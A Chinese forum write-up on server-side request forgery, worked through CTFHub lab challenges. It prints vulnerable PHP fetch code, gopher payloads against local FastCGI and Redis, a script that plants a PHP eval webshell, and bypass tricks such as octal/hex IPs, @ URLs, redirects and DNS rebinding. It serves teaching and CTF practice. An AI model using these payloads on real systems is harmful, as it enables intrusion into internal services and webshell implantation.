浅析SSRF的各种利用方式

nihao123123 (/u/46194) / 2022-04-18 23:14:01 / 浏览数 16427

前言

之前的时候，对SSRF的了解仅限与概念，至于具体的利用方法，和绕过，都是没有什么概念的，这一次，将之前没有学到的东西好好学习一下，总结一下。

什么是SSRF

SSRF(服务端请求伪造漏洞) 由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制，导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

一般情况下，SSRF针对的都是一些外网无法访问的内网，所以需要SSRF使目标后端去访问内网，进而达到我们攻击内网的目的。

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220409134112939.png)

通过SSRF，我们可以访问目标内网的redis服务，mysql服务，smpt服务，fastcgi服务等

造成漏洞的一些函数

`file_get_contents()`：将整个文件或一个url所指向的文件读入一个字符串中。

`readfile()`：输出一个文件的内容。

`fsockopen()`：打开一个网络连接或者一个Unix 套接字连接。

`curl_exec()`：初始化一个新的会话，返回一个cURL句柄，供curl_setopt()，curl_exec()和curl_close() 函数使用。

`fopen()`：打开一个文件文件或者 URL。

file_get_contents()/readfile()

```
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
```

fsockopen()

`fsockopen($hostname,$port,$errno,$errstr,$timeout)` 用于打开一个网络连接或者一个Unix 套接字连接，初始化一个套接字连接到指定主机（hostname），实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接，进行传输原始数据。fsockopen()将返回一个文件句柄，之后可以被其他文件类函数调用（例如：fgets()，fgetss()，fwrite()，fclose()还有feof()）。如果调用失败，将返回false

```
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>
```

curl_exec()

```
<?php
$url=$_POST['url'];
$ch=curl_init($url);  //创造一个curl资源
curl_setopt($ch, CURLOPT_HEADER, 0); //设置url和相应的选项
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch); // 抓取url并将其传递给浏览器
curl_close($ch); //关闭curl资源
echo ($result);
?>
```

接下来我就SSRF涉及的协议和一些bypass结合一些CTF进行分析

目录

SSRF攻击中涉及的一些协议

因为只是展示各个协议的用途，所以这里就不自己搭环境，直接用CTFHUB的技能树了

http协议

题目描述： 尝试访问位于127.0.0.1的flag.php吧

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220409141604381.png)

payload： `?url=http://127.0.0.1/flag.php`

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220409150105393.png)

这就是因为过滤 不严谨，导致我们可以访问内网。

dict协议

在SSRF中，dict协议与http协议可用来探测内网的主机存活与端口开放情况。

题目描述： 来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦

通过题目应该可以判断 ，跟上一道题是差不多的，但是就是端口问题

先判断哪个端口存在web服务

这里是直接用burp爆破端口就可以

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220409145235377.png)

但是我估计环境出问题了，一直没有爆破出想要的端口。

这里如果爆破出的话，直接访问就行

file伪协议

题目描述： 尝试去读取一下Web目录下的flag.php吧

file为协议就不用多说了

payload： `?url=file:/var/www/html/flag.php`

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220409145627309.png)

但是需要知道文件具体位置才能读到敏感信息。

Gopher协议

Gopher是Internet上一个非常有名的信息查找系统，它将Internet 上的文件组织成某种索引，很方便地将用户从Internet的一处带到另一处如果发起post请求，回车换行需要使用%0d%0a，如果多个参数，参数之间的&也需要进行URL编码
在SSRF中经常会使用Gopher来构造GET/POST包攻击应用。

题目描述： 这次是发一个HTTP POST请求。对了，ssrf是用php的curl实现的。并且会跟踪302跳转，我准备了一个302.php，可能对你有用哦。

进入题目直接查看源码

`?url=file:/var/www/html/flag.php 和 ?url=file:/var/www/html/index.php`

index.php

```
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
```

flag.php

```
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>
```

这里告诉我们要去用127.0.0.1访问flag.php

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220409151445364.png)

那道key，看这个样子是要我们POST key，但是提交页面又没有提交的按钮，所以这里就需要我们去本地新建一个POST

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220409151616800.png)

这里我们需要构造一个POST的数据包

```
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=00f001523d0b955749ea5e3b0ca09b5f
```

然后我们就可以进行url编码了，编码次数取决于我们访问次数。

第一次编码：

```
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-ur
```

把%0A替换成%0d%0A，结尾加上%0d%0A,并且末尾要加上%0d%0a（\r\n）

```
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-f
```

然后在进行一次URL编码

```
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253
```

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220409154707428.png)

当然手动编码，加上复杂的转化，错误率大大提高，所以，我在网上找了个脚本

```
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=c384d200658f258e5b5c681bf0aa29a8
"""

#注意后面一定要有回车，回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码
```

直接将编码所得，提交即可。

FastCGI协议

题目描述： 这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

给了个附件介绍fastcgi协议和PHP-FPM

```
FastCGI

Wikipedia对FastCGI的解释：快速通用网关接口（FastCommon Gateway Interface／FastCGI）是一种让交互程序与Web服务器通信的协议。Fas

php-fpm

官方对php-fpm的解释是FPM（FastCGI 进程管理器）用于替换 PHP FastCGI 的大部分附加功能，对于高负载网站是非常有用的。也就是说php-fpm
```

这里，附件给的复现方式虽然已经挺好的了，但是我查阅资料后，发现还有第二种做法，而且相对简单，我就用第二种做法，复现一下。

使用工具 Gopherus (https://github.com/tarunkant/Gopherus) 生成攻击FastCGI协议的payload

```
python gopherus.py --exploit fastcgi
/var/www/html/index.php                 # 这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
```

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220410134148700.png)

这里我直接参考师傅的payload，生成的payload

```
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAR
```

这里对其进行url二次编码，因为url会对其解码一次，curl也会解码一次，所以要编码两次。这个payload是已经进行过一次编码的，所以再编码一次即可。

```
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%25
```

然后上传成功

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220410134857049.png)

蚁剑连接shell

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220410135130186.png)

连接成功，并在根目录找到flag

Redis协议

题目描述： 这次来攻击redis协议吧，redis://127.0.0.1:6379。资料？没有资料！自己找！

总所周知，redis服务是开在6379端口，通常是利用redis未授权访问而达到写入shell或者反弹ssh等目的。

这里我本来想着用gopherus 直接生成针对redis未授权访问，写入shell

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220410140604901.png)

```
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%
```

但是二次编码的时候传入没有成功，不知道为什么。这里我还是用whoami师傅的方法来打。

构造redis命令：

```
flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
```

WHOAMI师傅的EXP脚本：

```
import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print urllib.quote(payload)    # 由于我们这里是GET，所以要进行两次url编
码
```

生成如下payload

```
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%25
```

get传值，蚁剑连接。

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220410142312903.png)

但是我这一直报错，就很怪

常见的bypass绕过方式

这里依旧用ctfhub的题目，但是绕过方法，我会就buu和ctfshow 的相关题目进行扩展。

URL Bypass

题目描述： 请求的URL中必须包含http://notfound.ctfhub.com，来尝试利用URL的一些特殊地方绕过这个限制吧 (http://notfound.ctfhub.com，来尝试利用URL的一些特殊地方绕过这个限制吧)

构造payload：

```
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
```

扩展：如果要求以 `http://notfound.ctfhub` 开头 `.com` 结尾的话，依旧可以使用@

payload

```
?url=http://notfound.ctfhub@127.0.0.1/flag.php.com
```

此类需要某某开头 某某结束的题目均可使用@进行绕过。

数字IP Bypass

题目描述 :这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

不能使用 `127/172` 我们可以使用进制转换等

```
进制转换
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
扩展:
当有的对跳转的地址的长度有要求
host<5
url=http://0/flag.php
url=http://127.1/flag.php
host<3
url=http://0/flag.php
```

302跳转 Bypass

题目描述：SSRF中有个很重要的一点是请求可能会跟随302跳转，尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

302跳转就是由一个URL跳转到另外一个URL当中去。

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220410150952514.png)

IP被ban，改个不含127的试试

出了，我甚至没搞明白啥意思，有点懵。

DNS重绑定 Bypass

题目描述 ： 无

DNS重绑定DNS Rebinding攻击在网页浏览过程中，用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址，然后向对应的IP地址请求资源，最后展现给用户。而对于域名所有者，他可以设置域名所对应的IP地址。当用户第一次访问，解析域名获取一个IP地址；然后，域名持有者修改对应的IP地址；用户再次请求该域名，就会获取一个新的IP地址。对于浏览器来说，整个过程访问的都是同一域名，所以认为是安全的。这就造成了DNS Rebinding攻击。

在自己服务器上写一个index.php内容如下：

```
<?php
header("Location:http://127.0.0.1/flag.php");
```

然后payload访问自己这个地址就可以了。

或者也可以利用这个网站获取一个测试用的域名：https://lock.cmpxchg8b.com/rebinder.html (https://lock.cmpxchg8b.com/rebinder.html)

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220410152735132.png)

直接访问

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220410152810623.png)

需要访问多次，因为这个域名会在两个ip之间跳转。

总结

虽然这篇文章都是基于CTF来分析SSRF相关知识的，但是我觉得可以从这些CTF题目中延伸出一些渗透攻击的思路。

就比如：如果我们发现一处SSRF，我们可以使用使用 `file` 伪协议读取敏感信息，http/s和dict 协议判断内网存活主机和端口，从端口判断内网中存在的服务。

当我们发现 `redis/fastcgi/mysql` 等服务时， 我们可以利用协议 `gopher` 和工具 `gopherus` 进行getshell。

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220410160331815.png)

参考

http://www.qwzf.top/2020/03/21/SSRF%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91%E5%BA%94%E7%94%A8/ (http://www.qwzf.top/2020/03/21/SSRF%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91%E5%BA%94%E7%94%A8/)

https://www.freebuf.com/articles/web/258365.html (https://www.freebuf.com/articles/web/258365.html)

https://blog.csdn.net/qq_49422880/article/details/117166929 (https://blog.csdn.net/qq_49422880/article/details/117166929)

https://www.freebuf.com/articles/web/260806.html (https://www.freebuf.com/articles/web/260806.html)

上一篇： springboot snakey... (/t/11208)　　下一篇： 一次adminer之旅 (/t/11225)

2 条回复

1nhann (/u/42780) **2022-04-19 16:59:20**

学 ssrf 推荐阅读：https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf (https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)

0 回复Ta

nihao123123 (/u/46194) **2022-04-20 20:02:51**

@1nhann (/u/42780) 谢谢师傅

0 回复Ta

登录 (https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F11215&from_type=xianzhi) 后跟帖